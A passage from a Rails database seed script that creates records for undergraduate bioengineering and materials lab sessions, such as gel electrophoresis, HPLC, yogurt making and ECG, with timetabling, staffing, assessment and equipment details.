a498.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a498.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a498.id).first_or_create!(criteria: \"\",\n job_desc:\"Protein separation using AKTA FPLC system and determining protein concentration using the Bradford assay\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a498.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a498.id).first_or_create!(cost_per_student: nil, equip_needed: \"FPLC, Ultracentrifuge, Cell Distruptor, fluorescent plate reader, absorbance plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a498.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a499 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT209\").first.id, code: \"312\").first_or_create!(name: \"Gel electrophoresis\",\n name_abrv: \"GELELEC\", archived: false, in_drive: false, user_id: 1)\n at499 = ActivityTimetable.where(activity_id: a499.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 90, notes: \"Should run before Western Blotting\",\n capacity: nil, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at499.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a499.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a499.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins by SDS-PAGE\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a499.id).first_or_create!(assess_weight: nil, notes: \"Report incudes western blot and submitted after that part of the experiment\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a499.id).first_or_create!(cost_per_student: nil, equip_needed: \"Biorad gel doc x2, gel tank, power packs, balances, transblot turbos, micropipettes, LEV, heater block, centrifuge\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 1, 28), tech_lead_id: 4, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a499.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a500 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"313\").first_or_create!(name: \"Glucose assay\",\n name_abrv: \"GLUCOSE\", archived: false, in_drive: false, user_id: 3)\n at500 = ActivityTimetable.where(activity_id: a500.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 10, max_week_num: 11, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay (Can be 1st experiment in Spring if doesn't fit in Autumn)\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at500.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a500.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a500.id).first_or_create!(criteria: \"Biological assays\",\n job_desc:\"Glucose analysis of E.coli culture samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a500.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a500.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, water baths, YSI analyser\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a500.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a502 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"315\").first_or_create!(name: \"HPLC\",\n name_abrv: \"HPLC\", archived: false, in_drive: false, user_id: 1)\n at502 = ActivityTimetable.where(activity_id: a502.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: nil, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a502.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a502.id).first_or_create!(criteria: \"\",\n job_desc:\"Separating proteins in a mixture and quantifying the concentration of GFP.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a502.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a502.id).first_or_create!(cost_per_student: nil, equip_needed: \"HPLC, fluorescent plate reader\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a502.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a503 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"316\").first_or_create!(name: \"Hygiene Lab: part 1\",\n name_abrv: \"HYGIENE1\", archived: false, in_drive: false, user_id: 3)\n at503 = ActivityTimetable.where(activity_id: a503.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: 60, notes: \"\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a503.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a503.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a503.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a503.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubators, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a503.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a504 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"317\").first_or_create!(name: \"Hygiene Lab: part 2\",\n name_abrv: \"HYGIENE2\", archived: false, in_drive: false, user_id: 2)\n at504 = ActivityTimetable.where(activity_id: a504.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: nil, notes: \"Part 2 must follow part 1 - preferably follwing day or day after\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a504.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a504.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"Exploring the effect of correct technique and good hygiene on experimental accuracy and biological safety. Investigating the effects of antibiotic action on pre-cultured E.Coli bacteria.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a504.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a504.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a504.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a505 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: false, in_drive: false, user_id: 3)\n at505 = ActivityTimetable.where(activity_id: a505.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 5, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: nil, takedown_time: 75, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a505.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a505.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a505.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a505.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, live cell imagers x2, microscopes, micropipettes, autopipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a505.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a506 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"318\").first_or_create!(name: \"Live cell imaging 1\",\n name_abrv: \"CELL1\", archived: true, in_drive: false, user_id: 4)\n at506 = ActivityTimetable.where(activity_id: a506.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a506.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a506.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a506.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a506.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a506.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a507 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: false, in_drive: false, user_id: 1)\n at507 = ActivityTimetable.where(activity_id: a507.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 6, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Must follow Live Cell Imaging 1\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a507.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a507.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a507.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a507.id).first_or_create!(cost_per_student: nil, equip_needed: \"Live cell imager x2, microscopes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a507.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a508 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"319\").first_or_create!(name: \"Live cell imaging 2\",\n name_abrv: \"CELL2\", archived: true, in_drive: false, user_id: 5)\n at508 = ActivityTimetable.where(activity_id: a508.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_blt.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a508.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a508.id).first_or_create!(criteria: \"Cell culture and aseptic technique, microscopy.\",\n job_desc:\"Scratch assay using HaCaT cells and setting up live cell imaging system to capture cell migration; labelling cells with a fluorophore and capturing images. Analysing cell migration data using ImageJ.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a508.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes SEM and FTIR\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a508.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a508.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a509 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"320\").first_or_create!(name: \"Making buffers\",\n name_abrv: \"BUFFERS\", archived: false, in_drive: false, user_id: 3)\n at509 = ActivityTimetable.where(activity_id: a509.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 3, max_week_num: 4, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 360, takedown_time: 180, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at509.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a509.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a509.id).first_or_create!(criteria: \"Experience of making solutions from solids. An understanding of acids and bases.\",\n job_desc:\"Investigating the properties of buffers (titration using bicarbonate buffer)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a509.id).first_or_create!(assess_weight: nil, notes: \"Data Presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_form.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a509.id).first_or_create!(cost_per_student: nil, equip_needed: \"balances, pH meters\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a509.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a510 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"321\").first_or_create!(name: \"Making nylon\",\n name_abrv: \"NYLONMAKING\", archived: false, in_drive: false, user_id: 3)\n at510 = ActivityTimetable.where(activity_id: a510.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"One experiment of 3 for this module\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at510.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a510.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a510.id).first_or_create!(criteria: \"Knowlegde of polymer chemistry desirable\",\n job_desc:\"Making a nylon rope (demonstrating polycondensation reaction)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a510.id).first_or_create!(assess_weight: nil, notes: \"Calculations and observations marked during lab session.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a510.id).first_or_create!(cost_per_student: nil, equip_needed: \"Clamps & Stands, LEV\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a510.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a511 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"322\").first_or_create!(name: \"making yogurt: part 1\",\n name_abrv: \"YOGHURT1\", archived: false, in_drive: false, user_id: 1)\n at511 = ActivityTimetable.where(activity_id: a511.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 240, takedown_time: 240, notes: \"2 hours required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at511.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a511.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a511.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a511.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a511.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static Incubators, Water baths, hotplate stirrers, balances,\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a511.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a512 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE240\").first.id, code: \"323\").first_or_create!(name: \"making yogurt: part 2\",\n name_abrv: \"YOGHURT2\", archived: false, in_drive: false, user_id: 1)\n at512 = ActivityTimetable.where(activity_id: a512.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 30, takedown_time: 60, notes: \"Part 2 to follow part 1 24h or 48h later. 1 hour required.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at512.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a512.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a512.id).first_or_create!(criteria: \"Basic lab work. Knowledge of microbiology beneficial although not essential.\",\n job_desc:\"To investigate the use of microorganisms in the manufacture of common food products by making yogurt and paneer cheese.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a512.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a512.id).first_or_create!(cost_per_student: nil, equip_needed: \"Static incubator, cameras\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a512.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a513 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE280\").first.id, code: \"324\").first_or_create!(name: \"Mammalian cell culture\",\n name_abrv: \"MAMMALIAN\", archived: false, in_drive: false, user_id: 3)\n at513 = ActivityTimetable.where(activity_id: a513.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: nil, takedown_time: 120, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a513.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a513.id).first_or_create!(criteria: \"Experience culturing mammalian cells. Experience operating bioreactors desirable.\",\n job_desc:\"Counting & subculturing CHO cells, operating a mini bioreactor for CHO cell culture.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a513.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation and short wriet-up\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a513.id).first_or_create!(cost_per_student: nil, equip_needed: \"Class II BSC, microscopes, Vi-Cell, Applikon Mini bioreactors, micropipettes, auto pipettes\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 7), tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a513.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a514 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1520\").first.id, code: \"325\").first_or_create!(name: \"Microscopy\",\n name_abrv: \"MICROSCOPY\", archived: false, in_drive: false, user_id: 3)\n at514 = ActivityTimetable.where(activity_id: a514.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 7, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 180, notes: \"Microscopy session to follow histology staining\",\n capacity: 40, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a514.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a514.id).first_or_create!(criteria: \"Operating light microscopes and imaging tissue sections\",\n job_desc:\"Using digital camera and Motic software to take images of stained tissue sections\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: 30, staff_ratio: nil)\n ActivityAssess.where(activity_id: a514.id).first_or_create!(assess_weight: nil, notes: \"Also includes hisology staining\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a514.id).first_or_create!(cost_per_student: nil, equip_needed: \"Microscopes, laptops, histology slides\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a514.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a515 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"326\").first_or_create!(name: \"Physiological testing\",\n name_abrv: \"PHYTEST\", archived: false, in_drive: false, user_id: 4)\n at515 = ActivityTimetable.where(activity_id: a515.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 8, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"One of 3 experiments for this module\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a515.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a515.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Measuring grip strength, pulse rate and blood pressure\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a515.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a515.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a515.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a516 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"327\").first_or_create!(name: \"Physiological testing 1: ECG\",\n name_abrv: \"PHYTEST1\", archived: false, in_drive: false, user_id: 3)\n at516 = ActivityTimetable.where(activity_id: a516.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 7, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 20, setup_time: 45, takedown_time: 45, notes: \"ECG to be before investigating physiological signals\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a516.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a516.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"ECG using ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a516.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n 